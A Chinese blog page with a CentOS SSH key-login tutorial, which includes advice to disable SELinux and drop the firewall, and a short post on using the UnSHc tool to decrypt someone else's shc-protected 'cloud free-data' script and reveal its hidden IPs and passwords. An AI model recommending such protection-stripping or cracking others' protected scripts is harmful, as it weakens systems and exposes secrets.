centos开启SSH密钥登录相信大家都会吧,而且很多的一键脚本都会配备,比如wdlinux面板的一件安装包都会配备而且支持自定义修改SSH端口,和一键生成密钥,很方便的,但是我们有时候没有必要安装这些一键脚本(比如内存小,不是用来做web服务的等等原因就不细说了);比如我们只是在梯子服务器上安装呢?这就需要我们自己手动了.博主我呢也经常折腾linux服务器,自己的或朋友的,今天抽时间写这篇文章,把我配置SSH密钥过程中遇到的坑都一一道来,

一来是做个总结,二来是方便后人^^.不要再往坑了跳了!跳了的也能尽快出坑!(此处应有掌声 -_-|)

先来看配置SSH的步骤

大致分为以下下几步:

  • 本地使用xshell软件生成公钥(不推荐linux端生成,照顾小白)
  • 使用非常著名方便小巧的运维工具--lrzsz(点我传送)--来上传公钥到服务端
  • 服务端常规配置(会附上详细的步骤shell操作代码)
  • 本文的重点--常见的坑的排除,解决方法(附上几种出错的情况以及解决办法)

1.本地使用xshell软件生成公钥:

  • 在xshell的工具栏里面找到 工具-新建用户密钥向导 如下图所示: 


  • 新建用户密钥生成向导.jpg


  • *密钥类型推荐使用RSA,密钥长度为2048的,即软件推荐的默认长度. 建议使用2048位密钥长度.jpg


  • 然后下一步,等待自动生成公钥对,公钥对生成.jpg
  • 然后下一步,给用户密钥设置一个密码,如下图所示,设置密码,即使别人拿到你得密钥也没法用,双重保险. 密钥加密.jpg


  • 然后点击下一步到公钥注册界面,选择公钥格式: SSH2-OpenSSH(因为现在大多数的linux的SSH都支持2.0保护方式,而且更保险.),然后,如下图所示保存为文件,在弹出的窗口,选择一个地方保存公钥 .pub 文件, 默认是id_rsa_2048.pub,方便自己查找的一个地方,比如桌面.导出公钥.jpg

2.SSH登录服务器,把id_rsa_2048.pub上传到服务器上并注册公钥,配置SSH

  • 上传可以参考我这篇文章 lrzsz(点我传送) ,如果安装好了lrzsz,只需要一条命即可把pub文件上传到服务器,输入:rz 然后在弹出的窗口选择上传的文件即可,如果出现报错,暂时关闭防火墙即可.
  • 其实使用sftp也可以在xshell里直接传文件,但是我不常用没有做,抱歉,但是教程网上有的,搜索一下即可.

3.服务端注册公钥.pub文件到系统,并分配好权限,权限没设置好后面登录会出问题的,这就是其中的一个坑,很多人都被坑过...具体步骤如下代码 :

就是把id_rsa_2048.pub的内容替换到/root/.ssh/下: 
[[email protected] ~]# ls -a 
.            ..         id_rsa_2048.pub
[[email protected] ~]# mkdir .ssh
[[email protected] ~]# chmod 700 .ssh/
[[email protected] ~]# cd .ssh/
[[email protected] .ssh]# cat ../id_rsa_2048.pub > ./authorized_keys
[[email protected] .ssh]# ls
authorized_keys
[[email protected] .ssh]# chmod 600 authorized_keys
[[email protected] ~]# diff id_rsa_2048.pub .ssh/authorized_keys 
[[email protected] ~]#
最后的diff命令来比较两个文件,确保文件内容相同。

4.接下来配置server的ssh服务(/etc/ssh/sshd_config)只允许使用密钥登录不允许口令登录(小提示:sshd重启完先不要关闭当前的ssh链接,以防万一):

[[email protected]~]:# vi /etc/ssh/sshd_config
#然后在vi界面用i来insert修改,找个空,回车一下,粘贴下面的代码
PasswordAuthentication no                    # 不允许口令登录
PubkeyAuthentication yes                     # 使用key登录
AuthorizedKeysFile .ssh/authorized_keys      # key的名字
#然后Esc,输入冒号:wq,保存退出
service sshd restart   #重启ssh服务

现在暂时不修改端口,不然修改完端口很多童鞋就直接exit了,就GG了,因为很多人的iptables规则没有设置就退出了,结果就进不去了,要是vps有控制台还好,可以通过控制台的VNC修改配置文件.要是没有就麻烦了.

这时候,xshell新开一个窗口,输入你的服务器IP,端口,默认22,然后回车链接,在弹出的对话框输入用户名,root,然后选择public key,在用户密钥里选择刚刚生成的那个,默认名字是id_rsa_2048,然后在下面输入刚刚设置的密钥密码,登录,看是否正常,如果正常登录,就OK了,然后就可以去修改端口,修改防火墙了:

修改端口,直接,vi /etc/ssh/sshd_config,增加一行,Port  3211 #端口请随意,但要记住.

然后防火墙增加一条规则允许 32211端口链接,命令大概如下,具体的请自行酌情修改:

iptables -A INPUT -p tcp --dport 3211 -j ACCEPT   /*允许包从3211端口进入*/
iptables -A OUTPUT -p tcp --sport 3211 -m state --state ESTABLISHED -j ACCEPT  /*允许从3211端口进入的包返回*/
service iptables save   /*保存配置*/
service iptables restart  /*重启iptables*/

下面说一下常见的坑(错误),如何爬出来:

  1. 配置完,使用密钥登录时,提示:所选用户密钥未在远程主机上注册.请再试一次.所选用户密钥未在远程主机上注册.请再试一次..jpg

这时候,请先检查存放authorized_keys的文件的权限,是否为600或者是644,如果不知道怎么看,那就直接执行下面的命令一次好了:


chmod 600 .ssh/authorized_keys 即可或者 644 也行. #600权限即-rw-------

注:执行这些命令的前提是,默认你是root账户,且在root目录下.如果不是,请自行调整用户和目录.不懂得可以留言/论/发邮件.


然后再次登录,成功就不说了,没成功请继续往下看:

没成功就请查看登录日志,具体的命令如下(centos为例,其他的linux目录可能不一样,请注意):

cat /var/log/secure

如果出现如图所示的 xxx because account is locked :


这种有可能是用户被锁定了,于是查看状态 准备解锁用户,命令如下:
pam_tally2 --user root  #root为你需要登录的账号
pam_tally2 -r -u root   #root为你需要登录的账号

通过pam_tally2 --user 指令发现没有锁定,都是0,
[[email protected]~]# pam_tally2 --user root
Login           Failures Latest failure     From
root                0    
[[email protected]~]# pam_tally2 -r -u root
Login           Failures Latest failure     From
root                0    
那就有可能是sshd没开启PAM 
修改/etc/ssh/sshd_config 配置后 ,再次登录测试,应该能解决问题

       2.如果按照上面这些修改完还是登录不进去,并且查看日志,大概内容如下:

Mar 29 01:36:12 localhost sshd[2645]: Received disconnect from 192.123.123.123: 11: Bye Bye
Mar 29 01:49:48 localhost sshd[2031]: Received signal 15; terminating.
Mar 29 01:49:48 localhost sshd[2704]: Server listening on 0.0.0.0 port 22.
Mar 29 01:49:48 localhost sshd[2704]: Server listening on :: port 22.
Mar 29 01:50:12 localhost sshd[2707]: Received disconnect from 192.123.123.123: 0: 
Mar 29 01:50:43 localhost sshd[2784]: Received disconnect from 192.123.123.123: 0: 
Mar 29 01:52:21 localhost sshd[2812]: Received disconnect from 192.123.123.123: 0: 

出错的是直接就断开了连接,并且没有任何错误提示,请检查服务器的selinuxiptables是否开启,iptables前面讲过,开放想相应端口,

如果还是连接不上,那就检查selinux, 使用下面的代码检查selinux 是否开启 :

查看SELinux状态:
1、/usr/sbin/sestatus -v      ##如果SELinux status参数为enabled即为开启状态
SELinux status:                 enabled
2、getenforce                 ##也可以用这个命令检查
关闭SELinux:
1、临时关闭(不用重启机器):
setenforce 0                  ##设置SELinux 成为permissive模式
                              ##setenforce 1 设置SELinux 成为enforcing模式
2、修改配置文件需要重启机器:
修改/etc/selinux/config 文件
将SELINUX=enforcing改为SELINUX=disabled
重启机器即可  #reboot

目前就写这么多,欢迎补充,交流!

我们下次再会.


Mrxn 发布于 2017-3-29 16:39

破解shc加密过的二进制脚本,此处以破解一个云免脚本为例

首先简单的介绍一下shc:

shc是一个专业的加密shell脚本的工具.它的作用是把shell脚本转换为一个可执行的二进制文件,这个办法很好的解决了脚本中含有IP、密码等不希望公开的问题.

今天逛一个博客看见了他的一篇文章说的关于破解云免脚本的,评论里面很多人说破解不了骚逼汪的云免脚本,我就是试试而已.哈哈

Google一下就找到了在youtube上的一个视频: UnSHc - decrypt shc *.sh.x bash script

然后在作者的博客和github找到了:Unshc脚本.一键破解,很方便,在此记录一下:

首先未破解时是二进制打开是这样:2017-01-23-32.jpg

然后克隆Unshc脚本到本地:clone.jpg

然后赋予脚本的执行权限后就可以看到相应使用方法:unshc-use.jpg

直接破解:2017-01-23-23.png

破解后的:decrypt.jpg

Unshc 作者github和博客:

https://github.com/yanncam/UnSHc

https://www.asafety.fr/unshc-the-shc-decrypter/

利用好搜索.事半功倍! 下回见!


Mrxn 发布于 2017-1-23 20:23
    1 2

搜索

日历

标签